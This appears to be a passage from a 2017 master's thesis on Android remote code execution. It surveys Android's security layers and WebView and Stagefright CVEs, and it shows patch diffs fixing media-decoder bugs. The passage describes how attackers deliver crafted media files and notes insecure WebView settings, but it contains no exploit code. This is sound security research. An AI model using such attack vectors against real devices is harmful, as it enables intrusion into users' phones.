MASARYK UNIVERSITY FACULTY OF INFORMATICS

Remote code execution on Android

MASTER'S THESIS

Mayank Samadhiya

Chennai, Fall 2017

MASARYK UNIVERSITY FACULTY OF INFORMATICS

Remote code execution on Android

MASTER'S THESIS

Mayank Samadhiya

Chennai, Fall 2017

This is where a copy of the official signed thesis assignment and a copy of the Statement of an Author is located in the printed version of the document.

Declaration

Hereby I declare that this paper is my original authorial work, which I have worked out on my own. All sources, references, and literature used or excerpted during elaboration of this work are properly cited and listed in complete reference to the due source.

Mayank Samadhiya

Advisor: Martin Stehlik

i

Acknowledgement

I am very thankful to my organization and Government of India for giving me the opportunity to pursue Master studies at Masaryk Uni­ versity. I am thankful to RNDr. Martin Stehlik Ph.D, Mgr. Jaroslav Seděnka and Dr. Chester Rebeiro who has guided me in completion of my Master thesis. I am also thankful to Prof RNDr Václav Matyáš Ph.D. for his continuous motivation for the completion of thesis. I am also thankful to all my teachers at Masaryk University, especially Prof RNDr Václav Matyáš Ph.D., RNDr. Petr Švenda Ph. D and to all my batchmates for enabling me to learn many vital aspects of In­ formation Security. I would like to thank my wife Ritu and children Darsh and Shivay for there patience and providing me continuous encouragement and support.

iii Abstract

Android is an open-source platform which is widely used in smart phones, tablets and other low power applications. The security of Android has become very crucial with high increase in usage. The number of attacks on Android and their sophistication has increased exponentially in past few years. This work explores the security mecha• nism deployed by Android developers to protect their users along with few of the vulnerabilities reported recently. Further five well known vulnerabilities are chosen and are executed on vulnerable versions and patched versions on emulators and different hardware platforms.

iv Keywords

Android, Exploit, Integer Overflow, Integer Underflow, Libstagefright, Patch, , Remote Code Execution, Vulnerability, WebView.

v

Contents

1 Introduction 1

2 Android OS and Webview Component 5 2.1 Android OS Architecture 5 2.1.1 Kernel 5 2.1.2 Hardware Abstraction Layer 6 2.1.3 Android Runtime 6 2.1.4 Libraries 7 2.1.5 Application Framework 7 2.1.6 Application 8 2.2 An Overview of Android Security and Vulnerabilities .... 8 2.2.1 Android Security Mechanisms 8 2.2.2 Overview of Vulnerabilities in Android 11 2.3 WebView 13 2.3.1 Creating an WebView Instance 14 2.3.2 WebView Issues and Vulnerabilities 14 2.3.3 Attack Vectors for WebView Vulnerabilities ... 16 2.4 16 2.4.1 Stagefright Vulnerabilities 17 2.4.2 Attack Vectors for Stagefright Vulnerabilities . . 18

3 Exploits Classification 19 3.1 Denial of Service (DoS) 19 3.2 Code Execution 21 3.3 Buffer Overflow 23 3.4 Memory Corruption 24 3.5 Privilege Escalation 25

4 Analysis of Selected Exploits 27 4.1 Stagefright Vulnerabilities 27 4.1.1 CVE-2015-1538 28 4.1.2 CVE-2015-3824 29 4.1.3 CVE-2015-3864 31 4.2 WebView Vulnerabilities 33 4.2.1 CVE-2016-6754 33 4.2.2 CVE-2012-6636 35

vii 5 Evaluation and Modification of Selected Exploits 37 5.1 Evaluation of Stage/right Attacks 37 5.1.1 CVE-2015-1538 37 5.1.2 CVE-2015-3824 38 5.1.3 CVE-2015-3864 41 5.2 Evaluation of Attacks on WebView 42 5.2.1 CVE-2016-6754 42 5.2.2 CVE-2012-6636 43

6 Conclusion 45

7 Future Work 47

A Exploitation Procedure for CVE-2015-1538 53

B AVD Details for Exploited Device for CVE-2015-1538 55

C Exploitation Procedure for CVE-2015-3824 57

D AVD Details for Exploited Device for CVE-2015-3824 and CVE-2015-3864 59

E Procedure to Exploit CVE-2015-3864 61

F Procedure to Exploit CVE-2012-6636 63

viii List of Tables

5.1 Stagefright Vulnerability Results 42 5.2 CVE-2016-6754 Exploit Results 43 5.3 CVE-2012-6636 Exploit Results 44

List of Figures

1.1 Exponential Increase in Vulnerabilities Found in Android - Year wise 2 1.2 Types of Vulnerabilities Discovered in Android 2 2.1 Android Stack [29] 6 2.2 Mind Map of Issues in Android Vulnerabilities [13] 11 2.3 Vulnerable Components of Android [13] 12 3.1 Types of Vulnerabilities Affected Android in Year 2016 20

xi

1 Introduction

There are many platforms which are used in smart phones like An• droid, iOS, Windows, Symbian and few others. Android's share was 86.1 percent among all the mobile phones sold to end users in first quarter of 2017 [23], and the total share of Android phones is 73.05 percent in Oct, 2017 [26]. During the initial days of Android, its only purpose was to run on smart phones. But with further advancements now Android found applications in Smart TVs, Smart watches, medi• cal equipment etc [16]. With such wide usage and dependencies, the security of Android systems has also became a big matter of concern. The Figure 1.1 shows number of vulnerabilities discovered from 2009 till year 2017 (Sept.), the data has been obtained from [33]. It can be observed from the Figure 1.1 that since 2008 there is exponential in• crease in the vulnerabilities discovered in the Android systems [33] and thus the attacks on Android systems have also increased in same fashion. The Figure 1.1 is based on data obtained from CVE-MITRE, which assumes that all the reported vulnerabilities are patched soon or before reported on CVE. The major share of vulnerabilities reported and exploited is taken by Denial of Service (DoS), Code Execution, Overflow and Gain privileges, which can be seen in Figure 1.2. The Figure 1.2 also shows the types of vulnerabilities popped since 2008 and their individual shares [33]. There are very few SQL injection vulnerabilities (one) reported in Android since its origin as shown in figure 1.2. This work discuss about many vulnerabilities reported in Android systems. Different types of vulnerabilities arising from design flaws are explained in detail. Further three vulnerabilities from Stagefright media library and two from Web View component are analyzed and tested on vulnerable and patched versions. The Chapter 2 deals with the Android architecture along with its various layers and the security mechanisms in place. An overview of vulnerabilities discovered in past in various Android components are discussed and explained. At the last of this chapter, Web View component and libstagefright library of Android is discussed along with related security issues.

1 i. INTRODUCTION

Figure 1.1: Exponential Increase in Vulnerabilities Found in Android - Year wise

Figure 1.2: Types of Vulnerabilities Discovered in Android

2 i. INTRODUCTION

In Chapter 3 different attack vectors with relation to the related vulnerabilities are discussed. Five kind of vulnerabilities along with exploit examples are discussed in this chapter. In Chapter 4 five specific vulnerabilities are studied in detail and their available exploits have been analyzed. Three of the vulnerabil• ities are from libstagefright library and two are from the Web View component of Android. In Chapter 5 the result of exploitation of vulnerabilities discussed in chapter 4 are placed. Analysis is done on the vulnerable and patched versions of Android. Further, devices from different Original Equip• ment Manufacturers (OEMs) are also considered for analysis.

3

2 Android OS and Webview Component

This section deals with Android OS, its various layers, latest security mechanisms and vulnerabilities associated with every layer. Later in this section web view component of Android is discussed in detail.

2.1 Android OS Architecture

Android is an open source operating system which is based on Linux and designed for mobile phones and tablets. It is also used in other small devices like smart watch, Vehicle Mounted Systems, Point of Sale (PoS) Devices, Medical Devices [16] etc. Android is more like a software stack which consists of different layers as shown in Figure 2.1 [29]. The different layers of Android are:

1. Linux kernel

2. Hardware Abstraction Layer

3. Android Runtime

4. Libraries

5. Application framework

6. Applications

2.1.1 Linux Kernel The lowest layer in Android is Linux. It provides a level of abstraction between the hardware and other layers of Android stack. The Android devices mainly use versions 3.18 or 4.4 of Linux kernel [17]. There is no direct interaction of developers and users with this layer, still this layer serves as core layer. The Linux kernel provides generic system services like:

• Memory and process management

• Permissions

5 2. ANDROID OS AND WEB VIEW COMPONENT

ALARM • BROWSER • CALCULATOR • CALENDAR • CAMERA - CLOCK • CONTACTS • DIALER • EM AIL * HOME - IM • MEDIA PLAYER • PHOTO ALBUM * SMS/MMS • VOICE DIAL CONTENT PROVIDERS • MANAGERS (ACTIVITY. LOCATION. PACKAGE. NOTIFICATION. RESOURCE. TELEPHONY. WINDOW)' VIEW SYSTEM AUDIO MANAGER* FREETYPE'LIBC • MEDIA FRAMEWORK * CORE LIBRARIES* OPENGL'ES • ART • DALVIK VM SOLÍTE* SSL* SURFACE MANAGER* WEBKIT AUDIO • BLUETOOTH • CAMERA ' DRM • EXTERNAL STORAGE • GRAPHICS • INPUT * MEDIA • SENSORS • TV

DRIVERS (AUDIO, BINDER (IPC). BLUETOOTH. CAMERA, DISPLAY, KEYPAD, SHARED MEMORY, USB, WIFI) • POWER MANAGEMENT

Figure 2.1: Android Stack [29]

• File and network I/Os • Device management • Device drivers

2.1.2 Hardware Abstraction Layer The Hardware abstraction layer (HAL) provides a standard method for creating software hooks (interfaces) between the Android platform and any proprietary hardware [29].

2.1.3 Android Runtime Android Runtime (ART) is the third layer of Android architecture. ART is an application runtime environment used by the Android operating system. It is responsible for the execution of each application. Each application is sandboxed in its own Virtual Machine (VM). This layer provides an optimized Java Virtual Machine (JVM) especially designed

6 2. ANDROID OS AND WEB VIEW COMPONENT for Android. Before Android 5.0 (Lollipop) Dalvik Virtual Machine (DVM) was used but from Lollipop it has been completely replaced by ART. The key advantages of ART over DVM are Ahead of time (AoT) compilation which ensures fast and low power consumption operations and improved garbage collection mechanism [22]. The other important thing in this layer is a set of core libraries, which enables the Android applications to use standard Java program• ming language [18]. The Android core libraries are of three types: 1. VM Specific Libraries: Used for direct interaction with instance of ART VM.

2. Java Interoperability Libraries: These libraries enables using Java programming language and provide support for tasks such as string handling, networking and file manipulation.

3. Android Libraries: The Android libraries are used by develop• ers for applications development.

2.1.4 Libraries The set of libraries are placed above the Linux kernel. These Java-based libraries are specific to Android development and are responsible to provide various functionalities to handle data. It includes web browser engine, security libraries, libraries for database access, play and record audio/video, graphics etc. Few examples for libraries are [25]:

• Webkit: Serves for browser engine.

• Open GL: Graphics library.

• Libc: C library for system.

• SQLite: Serves as database.

• OpenSSL: Security library.

2.1.5 Application Framework The application framework layer provides many higher layer services and running environment to applications. At this layer the applications

7 2. ANDROID OS AND WEB VIEW COMPONENT establish direct communication. The application framework is respon• sible for implementation of concept of reusable, interchangeable and replaceable components in Android applications. These services are utilized during Android app development [18]. Few of the manage• ment services are: • Telephony Manager: Handles voice calls. • Activity Manager: Handles the activity life cycle of an applica• tion. • Location Manager: Handles location management through GPS coordinates and cell towers. • Content Providers: Facilitates the data exchange between differ• ent applications. • Package Manager: Responsible for querying and manipulating installed packages and related permissions. • View Systems: Set of views which is used to create application user interface.

2.1.6 Application This is the top most layer, all the Android applications are installed here. This contains the native applications of Android along with the third party applications. This layer provides the user interface.

2.2 An Overview of Android Security and Vulnerabilities

This section describes about the latest security mechanisms incorpo• rated in Android systems and some of the vulnerabilities popped up in recent past.

2.2.1 Android Security Mechanisms As per to the latest Android security review of year 2016 published in March 2017, Android uses three way approach to ensure security of its users [19]:

8 2. ANDROID OS AND WEB VIEW COMPONENT

1. Google security services for Android.

2. Android platform security.

3. Ecosystem security program.

Google Security Services for Android The Android devices with Google mobile services (GMS) are protected by a set of end point security services and anti-virus services. This set of services is a combination of cloud based services and pre-installed (on device) services. It also collects real time data from the Android ecosystem to understand and counter new and upcoming potential threats.

1. On Device Services: Below is a list of on-device protection ser• vices offered by Android in year 2016. These on-device services are integrated with cloud based services, which enables Google to push updates and patches [19].

• Verify Apps: Determine and remove potentially harmful applications (PHAs) using cloud-based services. • SafetyNet: Enables devices to contribute security related information to Google's cloud-based service, which helps in protection from network and application level threats. • Safe Browsing: Black listing of deceptive websites and is• sues warning if user attempts to visit. • Developer APIs: Enables third party applications to use Google's security services. • Android Device Manager (ADM): Provides protection against theft, user can remotely see device's location, make it ring, wipe all data etc. ADM service can be accessed through Google's website by searching the phrase "find my phone". • Smart Lock: No need to manually lock the phone. The phone will remain unlocked until it is in user's possession, else it gets locked automatically. The authentic user is iden• tified by certain security signals like facial recognition etc.

9 2. ANDROID OS AND WEB VIEW COMPONENT

2. Cloud Based Analysis: Android ecosystem has a very large pool of device (well over 1 bn.). Google performs large scale analysis (static and dynamic) to a large chunk of data to identify any traces of potential threat or security abuse [19].

Android Platform Security To ensure complete security it is necessary to integrate security within fundamental design. The Android platform has evolved a number of security features to control working of Operating System (OS), regulate application interaction, memory management, Inter-process communication (IPC) mechanism, networking, memory management and other system features. Below is a list of security features that are part of Android Security Platform [19]. These security features are difficult to bypass and can only be bypassed if some implementation flaw is identified and exploited.

• Encryption: Provides confidentiality by encryption and which is extendable to removable media also.

• Hardware-Backed Security: Protects data from unauthorized access.

• Kernel Self-Protections: Protects kernel against security flaws in kernel and drivers.

• Sandboxing: Enhance security by keeping each application in its own restricted space.

• SELinux: Enforce security boundaries on all OS and applications above kernel.

• Userspace Hardening: Provides protection from vulnerabilities of OS and applications. It includes Address Space Randomiza• tion Layout (ASLR) and Data Execution Prevention (DEP).

• Verified Boot: Provides hardware based root of trust and con• firms the state of each stage of boot process.

10 2. ANDROID OS AND WEB VIEW COMPONENT

Figure 2.2: Mind Map of Issues in Android Vulnerabilities [13]

Ecosystem Security Program To promote best security practices Google works with device manu• facturers to ensure integration of latest security features in all of the supported devices. Android has been an open source since its launch because of the principle "openness strengthens security". Openness brings more scrutiny of Android systems, also has created a large research and development opportunities [19].

2.2.2 Overview of Vulnerabilities in Android This section covers few of the important vulnerabilities popped up in Android in recent times.

Taxonomy of Android Vulnerabilities In a recent work on Android vulnerabilities [13], the authors have created a taxonomy of issues based on vulnerabilities collected from

11 2. ANDROID OS AND WEB VIEW COMPONENT

Networking

Browsing 12°/o 21% .^^M

Access Control 17%

Cryptography 14%

Messaging 10%

Figure 2.3: Vulnerable Components of Android [13]

National Vulnerability Database (NVD). NVD is a comprehensive cyber security database that integrates publicly available U.S. gov• ernment vulnerability resources and provides references to industry resources [36]. The taxonomy is created using mind mapping tech• nique by incrementally considering one issue after other. 43 different issues are considered from total of 42 vulnerabilities. The mind map of issues related to Android vulnerabilities created in [13] is placed at Figure 2.2 and the pie chart representation of Android components where these 42 vulnerabilities are found is at Figure 2.3 [13]. As it can be seen from the Figure 2.3 that the major issues have existed in Brows• ing, Access Control Mechanisms and Cryptography implementation on Android systems.

Vulnerabilities at Kernel Level

Kernel is considered as trusted computing base (TCB) of Android. Two of the recent vulnerabilities of kernel are discussed below:

12 2. ANDROID OS AND WEB VIEW COMPONENT • Dirty Cow (CVE-2016-5195): It is local privilege escalation vul• nerability in Linux kernel which allows local attacker to gain root privileges through a malicious app [32].

• Remote Code Execution Vulnerability in Kernel Networking Subsystem (CVE-2016-10229): This vulnerability allows an ma• licious user to to execute arbitrary code within kernel context and thus it is an critical issue.

Vulnerability in System Server System server initializes the application framework layer and it man• ages Java services. Few of new vulnerabilities are identified by [16], which are directly related to IPC based service interface in system server. These interfaces receives a call back handle as an IPC call pa• rameter, invoked by the system server or by the system app. In this paper [16], the authors have identified and demonstrated four hazard situations which can cause Denial of Service for Android system and may result in system crash.

Vulnerabilities in Libraries Vulnerability in SQLite: SQLite databases are used for data storage in Android systems. CVE-2015-6607 [32] is an privilege escalation vulnerability found in SQLite versions before 3.8.9, it allows attacker to gain unauthorized privileges through malicious application.

2.3 WebView

Web View is a subclass of View. Webview displays web pages with in any application. It enables user to open designated web page directly from application without leaving that application. The WebView uses WebKit rendering engine to display web pages. It also provides other utilities of web pages which are identical to any web browser like navigating through history, zoom-in/zoom-out etc. Four well known vulnerabilities of WebView reported on CVE-Mitre are discussed in this section.

13 2. ANDROID OS AND WEB VIEW COMPONENT

2.3.1 Creating an Web View Instance From developer's point of view, to add browser functionality to an application, the developer needs to create an instance of Web View after including the Web View libraries [40]. Below is the example to embed a browser inside Android application. In Web View, JavaScript is disabled by default but it can be enabled for certain utilities. The Web View component tightly integrates the web application and the corresponding Android application. WebView webView = new WebView(this); webView.getSettings() .set JavaScriptEnabled(true) ;

After creation of WebView, loadllrl Application Program Interface (API) can be used by an app to load a web page. Below is an example: webView.loadUrl("https://www.fi.muni.cz " ) ;

2.3.2 WebView Issues and Vulnerabilities WebView exposes applications to larger attack surface. Android in• cludes a mechanism to limit the capability of WebView to minimum functionality required by corresponding application to limit the scope for potential vulnerabilities. It is always recommended not to call set- JavaScriptEnabledO function unless JavaScript is directly used with in WebView. It is also recommended to use clearCacheO method to delete any locally stored files, especially in cases where the corresponding application accesses sensitive data with in WebView [37]. Few exam• ples of implementation mistakes that can lead to an unintentional bug are given below [20]: 1. Loading Un-encrypted Contents from Web: Loading un-encrypted contents from web may lead to Man in the Middle (MiTM) attacks, the example is: myWebView.loadUrl("http://www.example.com");

2. Enabling Javascript: Enabling Java script in WebView can give an opportunity to attacker to execute malicious arbitrary Javascript code, and put the whole application at risk.

14 2. ANDROID OS AND WEB VIEW COMPONENT

webSettings.setJavaScriptEnabled(true);

3. Local Resources: If Web View component of any application is allowed to access content (file) from other applications on the same device, then an attacker can inject a malicious html file inside the target ap• plication through the shared file [20].

The two broad types of vulnerabilities are excess authorization and file based cross-zone scripting [10]. In general, the implementation of Web View must be secure to avoid introduction of new risks to applica• tion. The insecure implementation of Web View component can make the application insecure. There are 4 major Web View vulnerabilities which were flagged in open forums: CVE-2012-6636, CVE-2013-4710, CVE-2014-6041 and CVE-2016-6754 [32]:

1. CVE-2012-6636: The Android API before 17 (Version 4.1 and be• fore) does not properly restrict the WebView.addJavascriptlnterface method, which allows remote attackers to execute arbitrary methods of Java objects by using the Java Reflection API within crafted JavaScript code that is loaded into the Web View compo• nent [32].

2. CVE-2013-4710: On viewing a maliciously crafted web page through Web View, the remote attacker can execute arbitrary code or can cause system reboot leading to DoS. Android OS versions 3.0 through 4.1.x are vulnerable [32].

3. CVE-2014-6041: This Web View vulnerability allows attacker to bypass Same Origin Policy (SoP) through a crafted attribute. The SoP ensures that the JavaScript of website from one origin should be prohibited from accessing the properties of website from another origin.

4. CVE-2016-6754: A remote code execution vulnerability in We- bView in Android 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-11-05 could enable a remote attacker to execute arbi• trary code when the user is navigating to a website. This issue is

15 2. ANDROID OS AND WEB VIEW COMPONENT rated as high due to the possibility of remote code execution in an unprivileged process [32].

2.3.3 Attack Vectors for Web View Vulnerabilities There may be more vulnerabilities which may get introduced by using implementation of Web View for any app. Each of these unintentional bugs can be exploited using one or more attack vectors. Few of the attack vectors are discussed below [9]:

1. Using Uniform Resource Locator (URL) based attack vectors and sending the URL through social engineering.

2. Compromising a trusted site and then injecting an exploit through that.

3. Man in the Middle attack like Domain Name System (DNS) hijack.

4. Using malicious advertisement to infect the target or masses.

2.4 StageFright StageFright is an Android multimedia library written in C++. It han• dles all video and audio files, provides playback facilities, extracts metadata for the gallery [9]. The Application framework component used to play media files communicate with underlying (in below layer) native C++ components using Java Native Interfaces (JNI). The role of these native components is to forward the media request from Java code to media player server using IPC. The media player service then forward it to media player (Stagefright) which parse and decodes the media file [21]. In beginning of the year 2015, a series of vulnerabil• ities were reported in libstagefright, which is the Stagefright library. Six Stagefright vulnerabilities reported in 2015 are discussed below briefly. Further two more similar vulnerabilities were reported in the year 2017, which are discussed in next chapter.

16 2. ANDROID OS AND WEB VIEW COMPONENT

2.4.1 Stagefright Vulnerabilities 1. CVE-2015-1538: It is an remote code execution vulnerability caused due to integer overflow in the function SampleTable: :set- SampleToChunkParams of file SampleTable.cpp in libstagefright. The vulnerability is exploited using a crafted atom in MP4 data that triggers a unchecked multiplication enabling attacker to execute arbitrary code. The vulnerable versions are before Android 5.1.1 LMY48I [32].

2. CVE-2015-1539: It is a remote code execution vulnerability caused due to multiple integer overflows in ESDS: :parseESDesriptor function in file ESDS.cpp of libstagefright. The vulnerability can be exploited using crafted ESDS atoms in MP4 file. The vulnera• ble versions are before Android 5.1.1 LMY48I [32].

3. CVE-2015-3824: It is a remote code execution vulnerability caused due to multiple integer overflows in file MPEG4Extractor.cpp of libstagefright library. Along with remote code execution, it can also lead to DoS due to memory corruption. This vulnerability can be exploited using crafted MP4 data having crafted tx3g atom. The vulnerable versions are before Android 5.1.1 LMY48I [32].

4. CVE-2015-3826: It is DoS vulnerability caused due to non en• forcement of minimum size for UTF-16 strings containing a Byte Order Mark (BOM). The vulnerability is in MPEG4Extractor.cpp of libstagefright library. This vulnerability can be exploited using crafted MP4 data having crafted 3GPP meta-data. The vulnera• ble versions are before Android 5.1.1 LMY48I [32].

5. CVE-2015-3827: The vulnerability is caused due to non vali• dation of relation between chunksizes and skip sizes in the file MPEGAExtractor.cpp of libstagefright library. This vulnerability can cause remote code execution and DoS. The vulnerability can be exploited using crafted MPEG-4 covr atom. The vulnerable versions are before Android 5.1.1 LMY48I [32].

6. CVE-2015-3829: The Off-by-one error in the MPEG4Extractor: -.parseChunk function in file MPEGAExtractor.cpp of libstagefright

17 2. ANDROID OS AND WEB VIEW COMPONENT

library. This vulnerability can cause remote code execution and DoS. It can be exploited using crafted MPEG-4 covr atom. The vulnerable versions are before Android 5.1.1 LMY48I [32].

2.4.2 Attack Vectors for Stagefright Vulnerabilities 1. Media in the Browser: The maliciously crafted media file hosted on server with some fancy name to attract user to click on it. The device gets infected while parsing the malicious media file [9].

2. Browser Auto-Download: A more powerful attack vector. The device gets infected during access. Server force the target to download infected media file [9].

3. Mobile MMS: It is the most powerful attack vector because media is automatically processed on Multimedia Messaging service (MMS) receipt. Disabling auto processing of MMS can be used as a protection mechanism [9].

18 3 Exploits Classification

This chapter discuss about various types of vulnerabilities found in Android systems. A vulnerability is a flaw or a bug in a system or in any software which can be exploited to bypass the security mechanism of that system or the particular software. On the other hand exploit is a piece of software or script used to take advantage of vulnerability. There are many vulnerabilities discovered in all systems every year. But the methods to exploit those are limited and a new methods comes very rarely. These vulnerabilities enables the attacker to influence Con• fidentiality, Integrity and Accessibility (CIA) of target Android system. These vulnerabilities can be classified as Denial of Service (DoS), Code Execution, Overflow, Memory corruption, Privilege escalation, Bypass something and Obtain information [33]. DoS, Code Execution, Buffer Overflow, Memory Corruption and Privilege Escalation are discussed in detail along with recent examples in this section. A pie chart at Fig• ure 3.1 shows the share of these vulnerabilities for the year 2016, the respective data is available at Android Vulnerability Statistics[33]. The Figure 3.1 describes the distribution of different kind of vulnerabilities reported in Android systems in year 2016. Gain privilege and DoS has the highest share with 36 percent and 15 percent respectively. The reason behind this many Gain privilege and DoS is the inability of Android security model to deal transitions between one sand-boxed application and other sand-boxed application with different access privileges.

3.1 Denial of Service (DoS)

Android has always been prone to DoS vulnerability due to many flaws in Android security model in dealing with transitions between two sand-boxed applications with different access control privileges. These vulnerabilities allow remote attacker to cause DoS conditions either due to high consumption of system resources or by crashing the system and forcing it to soft reboot [24]. Denial of service may not look very impressive in mobile phones, but Android also has applications in many mission critical tasks like Vehicle mounted Systems, Point of Sale (PoS) devices, Medical devices and Aircraft navigation devices

19 3- EXPLOITS CLASSIFICATION

Denial of Servic

Gain Privilege 36°/o Code Execution 10%

Overflow 13%

Memory Corruptio Gain Information 5% 14% Bypass something 7»/o

Figure 3.1: Types of Vulnerabilities Affected Android in Year 2016

[16]. In such systems a system crash or unwanted reboot may cause injury, death or financial loss. One of the recent vulnerability which may cause DoS in Android system has been identified in Android Media Framework (in libavc). Android versions 6.0,6.0.1, 7.0, 7.1.1 and 7.1.2 were found vulnerable (CVE-2017-0736) [32]. The vulnerability is due to the resolution change in decode call. If resolution changes with in the decode call, the appli• cation will provide the same data again in next decode call because of multiple SPS (sequence parameter set). This will result in decoder hang leading to system crash and soft reboot. The SPS contains media properties, primarily resolution and frame-rate information. If resolu• tion of media file is changed after initial parsing and during decoding it will result in multiple SPS. The issue has been fixed by flagging an error whenever sps/resolution changes within a process call [34]. The vulnerability is patched by putting a check on the SPS count. If SPS count increases by one then an error status will be generated. Three files have been modified in libavc/decoder to patch the vulnerability. The piece of code taken from respective diff file, which highlights the

20 3- EXPLOITS CLASSIFICATION

removed (vulnerable) lines by'-' and added lines using'+' is provided below [34]. • Patch in /decoder/ih264d_structs.h: In this file a new variable is added to store the value of SPS count in process. + UW0RD32 u4_sps_cnt_in_process;

• Patch in /decoder/ih264d_api.c: The variable in decode structure is initialized to zero. + ps_dec->u4_sps_cnt_in_process = 0; DEBUG_THR.EADS_PR.INTF (" Starting process call\n");

• Patch in /decoder/ih264d_parse_headers.c: The vulnerability is patched by putting a check on number of SPS counts during decode call. An if statement is added to ensure that SPS count during decode call is not more than one. ih264d_rbsp_to_sodb(ps_dec->ps_bitstrm) ; i_status = ih264d_parse_sps(ps_dec, ps_bitstrm); ps_dec->u4_sps_cnt_in_process++; + /*If a resolution change happens within + a process call, due to multiple sps we + will not support it */ + if((ps_dec->u4_sps_cnt_in_process > 1 ) + && (i_status == IVD_RES_CHANGED)) + + { + i_status = ERROR_INV_SPS_PPS_T; + ps_dec->ul_res_changed = 0; + } if(i_status == ERROR_INV_SPS_PPS_T) return i_status;

The if statement in the file ih264d_parse_headers.c will ensure the SPS count to be one. Thus the situation of decoder hang is avoided and in place error status will be generated.

3.2 Code Execution

The code execution vulnerability is also commonly known as arbitrary code execution vulnerability. Such vulnerabilities allows attackers to

21 3- EXPLOITS CLASSIFICATION execute arbitrary code in the context of user running the vulnerable application [24]. Such arbitrary code execution may lead to privilege escalation or DoS or any other failure based on the privileges associ• ated to the target process. Android have always been vulnerable to remote code execution and many such vulnerabilities has been flagged in past. One of the recent remote code execution vulnerability was found in Advanced Video Coding (AVC) decoder component of Android media framework. The height and width of the video was not verified for size validity before memory allocation. Almost all the versions of Android from version 4.4.4 (Kitkat) to 7.1.2 (Nougat) were found vulnerable to this vulnerability (cve-2017-0745) [32]. The code located at tnedia/libstagefright/codecs/tn4v_h263/dec/src/vop.cpp has been modi• fied to patch the vulnerability. The vulnerability is patched by using temporary variables to validate the size of height and width before memory assignment. The piece of code taken from respective diff file, which highlights the removed (vulnerable) lines by'-' and added lines using '+' is provided below [34]: tmpvar type uint32; tmpvar = (uint32) BitStreamReadBitsl6 (stream, 8);

The tmpvar is used for bit stream exchange at the start of video object sequence and further stream exchange. tmpvar = BitstreamReadBitsl6(stream, 9);

+ int tmpDisplayWidth = (tmpvar + 1) << 2;

video->displayHeight = tmpvar << 2; video->height = (video->displayHeight + 15) & -16; + int tmpDisplayHeight = tmpvar << 2; + int tmpHeight = (tmpDisplayHeight + 15) & -16; + int tmpWidth = (tmpDisplayWidth + 15) & -16; Temporary variables tmpHeight, tmpWidth are created to verify the authenticity of height and width of parsed video file. if (video->height * video->width > video->size) + if (tmpHeight * tmpWidth > video->size) { + // This is just possibly "b/37079296". + ALOGE("b/37079296") ;

22 3- EXPLOITS CLASSIFICATION

status = PV_FAIL; goto return_point;

In place of checking against the actual height and width, the temporary variables are used to verify whether the height and width of video file is not greater than the video size. If the height and width are genuine then reallocation to width and height parameters are made. + video->displayWidth = tmpDisplayWidth; + video->width = tmpWidth; + video->displayHeight = tmpDisplayHeight; + video->height = tmpHeight;

video->nTotalMB = video->width / MB_SIZE * video->height / MB_SIZE;

3.3 Buffer Overflow

A buffer overflow is an anomaly in program which may cause buffer's boundary overrun while writing data into it. A C, C++ code can di• rectly write to memory. Android uses ART VMs (Similar to Java Run Time) which assigns memory and the application is executed in an sand-box VM. There is no possibility of overflow because there is no direct access to memory. But there are many components shared between services, applications and kernel which are written in C, C++. In these cases buffer overflow is possible and the best example is Stage- fright library, where a series of overflow vulnerabilities discovered. Recently one of such vulnerability has been identified in the service locator in all QualComm products with Android releases from Code Aurora Forum (CAF) using Linux kernel [32]. Code Aurora Forum is a consortium of companies with projects serving the mobile wireless industry [14] and QualComm creates system on a chip (SoC) for use in smart phones, tablets and similar devices. Here the variable used to determine the buffer size does not serve that purpose and thus leading to buffer overflow [33]. The vulnerability was in the file drivers/soc/qcom/service_locator.c, here the variable named resp->domain_list Jen was supposed to indi• cate the total number of domains to be send in one response, but there

23 3- EXPLOITS CLASSIFICATION was no check on whether the value of resp->domain_list_len is equal to resp->total_domains. This may also lead to buffer over read. To patch this vulnerability the modifications done in the code is such that ir• respective of any value of given to the variable resp->domain_list_len it will be equal to total domains from the response message. The re• spective modifications in the file service_locator.c are mentioned below [31]: + if (resp->domain_list_len > resp->total_domains) { + /*Always read total_domains from the response msg*/ + resp->domain_list_len = resp->total_domains; + }

The buffer overflow can enable the attacker for privilege escalation by overwriting kernel space using crafted file, that can cause data corruption, program crash.

3.4 Memory Corruption

Memory corruption is a result of unintentional modification of mem• ory contents at any location, which also causes violation of memory safety. In Android, the memory corruption vulnerability can be very destructive as it can give remote code execution ability to a potential attacker. A very nice method to detect memory corruption vulnerabil• ities for Android binaries is proposed in [11] using formal verification. The authors in this paper have used memory accession security rules and selective symbolic execution method to identify such vulnerabili• ties. The memory corruption vulnerability can be exploited for code injection using a crafted file which may further facilitate remote code execution. A recent remote code execution vulnerability for Android sys• tems was found in library libhevc of media server. This vulnerability enables attacker to cause memory corruption during the parsing of media files and data, by using a especially crafted file to do desired modifications in memory(cve-2017-0637) [32]. The affected Android versions are from version 5.0.2 (Lollipop) to version 7.1.2 (Nougat). This vulnerability has been patched by modifying the code in file /libhevc/decoder/ihevcd_parse_header.c. The buffer boundaries have been strictly implemented and maximum limits for these boundaries have

24 3- EXPLOITS CLASSIFICATION

been defined. This can be seen as a part of conditions in if statement in patched code, where the maximum rows and columns are verified against maximum limits. Also the maximum size of row and column is precisely defined. The piece of code taken from respective diff file, which highlights the removed (vulnerable) lines by'-' and added lines using '+' is provided below [34]: + W0RD32 wd = ALIGN64(ps _codec ->i4..wd ) ; + W0RD32 ht = ALIGN64(ps _codec ->i4..ht ) ;

+ W0RD32 max _tile_cols = (wd + MIN..TILE ..W D -- 1) / MIN_TILE _WD ; + W0RD32 max _tile_rows = (ht + MIN..TILE ..H T -- 1) / MIN_TILE _HT ;

The two variables which will hold the maximum limit on size of rows and columns are defined in the patch (mentioned above). In the below piece of code two more conditions are added in if statement to ensure that the number of columns and rows are less then the maximum limit, else Invalid Header error will be returned. if((ps_pps->i1_num_tile_columns < 1) II - (ps_pps->i1_num_tile.columns > ps_sps->i2_pic_wd_in_ctb ) I I + (ps_pps->i1_num_tile.columns > max_tile_cols) I| (ps_pps->i1_num_tile_rows < 1) II - (ps_pps->i1_num_tile_rows > ps_sps->i2_pic_ht_in_ctb)) + (ps_pps->i1_num_tile_rows > max_tile_rows)) return IHEVCD_INVALID_HEADER;

BITS_PARSE("uniform_spacing_flag", value, ps_bitstrm, i);

3.5 Privilege Escalation

